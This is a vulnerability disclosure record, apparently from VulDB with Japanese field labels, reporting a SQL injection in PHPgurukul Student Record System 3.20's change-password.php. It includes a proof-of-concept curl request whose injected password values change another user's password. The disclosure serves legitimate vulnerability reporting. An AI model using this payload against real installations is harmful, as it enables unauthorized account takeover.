| タイトル | PHPgurukul Student Record System Using PHP and MySQL 3.20 SQL Injection |
|---|
| 説明 | My name is inmo Yang, and I am a security researcher. I have identified a vulnerability in Student Record System Using PHP and MySQL, and I would like to request a CVE ID assignment.
Affected Project: Student Record System Using PHP and MySQL
Official Website: https://phpgurukul.com/student-record-system-php/
Affected Versions: v3.20
Vendor contacted: Yes, on 2025-08-21
Patch available: Taking action
Related Code file: change-password.php
Injection parameter: currentpassword, newpassword
Vulnerability Description
This SQL injection vulnerability occurs in Student Record System Using PHP and MySQL version 3.20.
The vulnerability affects the source code of the /change-password.php file.
If an authenticated user injects a malicious SQL query into the currentpassword, newpassword parameters, they can change another user's password Unauthorized.
Impact Assessment
This vulnerability allows an authenticated attacker to manipulate SQL queries during the password change process, potentially leading to:
- Unauthorized password changes for other user accounts
Affected Endpoint : http://127.0.0.1:8888/change-password.php
PoC : curl -i -s -k -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=lg6rlbg3j0f1iaqfdvdvs9c4i3" \
-d "currentpassword=' or id='1' -- -&newpassword=sqli' where id='1' -- -&confirmpassword=test&submit=Change" \
"http://127.0.0.1:8888/change-password.php"
|
|---|
| ソース | ⚠️ https://github.com/simyat/CVE/blob/main/SQL%20Injection%20in%20Student%20Record%20System%20Using%20PHP%20and%20MySQL%20v3.20.md |
|---|
| ユーザー | inmoyang (UID 89515) |
|---|
| 送信 | 2025年08月28日 19:43 (1 年 ago) |
|---|
| モデレーション | 2025年09月03日 13:45 (6 days later) |
|---|
| ステータス | 重複 |
|---|
| VulDBエントリ | 306510 [PHPGurukul Student Record System 3.20 /change-password.php currentpassword SQLインジェクション] |
|---|
| ポイント | 0 |
|---|